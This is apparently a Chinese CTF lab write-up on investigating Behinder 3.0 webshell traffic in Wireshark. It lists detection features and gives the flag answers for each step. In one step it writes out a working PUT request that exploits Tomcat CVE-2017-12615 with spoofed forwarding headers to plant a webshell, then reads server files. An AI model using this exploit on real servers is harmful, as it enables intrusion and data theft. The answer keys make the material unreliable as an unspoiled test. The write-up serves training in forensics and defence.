一、冰蝎 3.0 流量特征
- Content-Type
POST 请求的
Content-Type固定为application/octet-stream,属于强特征。

- User-Agent
内置了 16 个
User-Agent头,通信时会随机挑选一个,但大多为老旧浏览器或罕见设备头。如果同一 IP 频繁变换 UA 且为这 16 个之一,可以高度怀疑是冰蝎。 - Accept、Cache-Control
Accept 头常设为
Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2或类似值,Cache-Control 和 Pragma 常设为no-cache,表示直接从源服务器获取最新的响应,这些是冰蝎流量默认带的 HTTP 头,普通业务流量较少见。

- Content-Length/请求包长度 因为冰蝎 3.0 使用 AES-256 加密算法,加密后的数据体积会膨胀,请求包长度一般会很大,超过正常业务范围。

二、索引

三、题目列表
步骤 1
黑客 IP 是什么?
先用 wireshark 语法筛选出 http 流量。

快速分析一遍流量,大部分都是 404,说明黑客正在进行目录扫描。拉到最后那里可以看到有个异常流量,通过PUT 方法上传了 indeX.jsp 文件,且在请求头中伪造了多个指向本地地址的字段(如 X-Forwarded-For),这种组合是典型的攻击特征,由此可判定该请求为攻击者发起的恶意文件上传行为。

因此黑客 IP 就是 192.168.31.61。
flag{192.168.31.61}
步骤 2
黑客上传的 Webshell 名是什么?
继续分析流量包,可以看到攻击者通过 POST 数据包与 indeX.jsp 进行通信,且响应内容为加密数据。

因此 webshell 名就是这个文件。
flag{indeX.jsp}
步骤 3
黑客上传 WebShell 的时间是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
找到刚才黑客通过PUT 方法上传的文件直接查看时间即可。

flag{2025-02-22 07:47:38}
步骤 4
木马的解密 key 是什么?
同样也是 PUT 方法的那个流量包,右键追踪 HTTP 流。
可以看到黑客上传的内容,具体利用的漏洞是 Tomcat 通过 PUT 方法进行任意文件写入(CVE-2017-12615),感兴趣的可以网上了解一下。

可以看到木马连接密码就在文件内容当中,长度为 16 字节(128 位),一般用于 AES 对称加密。
flag{3f0af7bb4dbcfbd7}
步骤 5
黑客执行的第一个命令是什么?
已知黑客是通过 POST 与 indeX.jsp 进行通信,我们修改 wireshark 语法搜索包含 indeX.jsp 的流量。
http contains "indeX.jsp"

然后复制请求体 data 内容的ASCII 值,如图所示。

这里使用解密工具,把复制的数据和之前得到的密钥放进去解密。

可能受环境影响,显示有点问题,不过内容还是可以看得懂。经过分析,前面几个数据包是冰蝎用于连接用的,分析到第四个时可以看到黑客执行的命令。


因此黑客执行的第一个命令是 ifconfig。
flag{ifconfig}
步骤 6
黑客上传的文件内容是什么?
继续分析,发现长度为 362 的流量记录了创建文件的命令。


4ZmxhZ3s0ODUzNzViN2IwNmFkODU2YTc4OGMwZDk1MjI5ZjM1Y30=
但是解码后得到一堆乱码,那只能登进目标服务器查看对应文件内容了。
题目没有给出对应的服务器账号密码,需要我们渗透进去,那我们可以仿照前面黑客 PUT 上传文件的方法,用抓包工具修改发包。
先自己随便选一个协议,生成服务端。

然后复制生成的 jsp 代码,粘贴到 body 中,同时修改请求体信息与之前黑客 PUT 上传的内容一样。
PUT /6.jsp/ HTTP/1.1 Host: 你的玄机靶机地址:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 Priority: u=0, i Content-Type: application/x-www-form-urlencoded Content-Length: 782 你的冰蝎 jsp 代码
然后发包即可,状态码显示 201 表示成功。

在冰蝎连接 webshell,根据你之前选的协议选择对应的类别即可。

连接后在文件管理处,找到 /home/xj/up.txt,打开文件查看内容,成功拿到 flag。


flag{485375b7b06ad856a788c0d95229f35c}
步骤 7
黑客下载的文件内容是什么?
继续分析流量包,分析到最后一个请求包时发现有黑客执行下载文件的命令。


对应路径为 /opt/apache-tomcat-8.5.19/conf/server.xml,用冰蝎查看对应文件,成功找到 flag。

当然也可以查看对应的响应包,同样也给出了 flag。

flag{3aacab9ca36a6894c75048e4faf47052}
步骤 8
服务器内的 flag 是什么?
用冰蝎在服务器内找就可以,最终发现 flag 在 /root/flag.txt 里面。

flag{ae1d04dd3d15c6a18f904fe50fdf7eca}

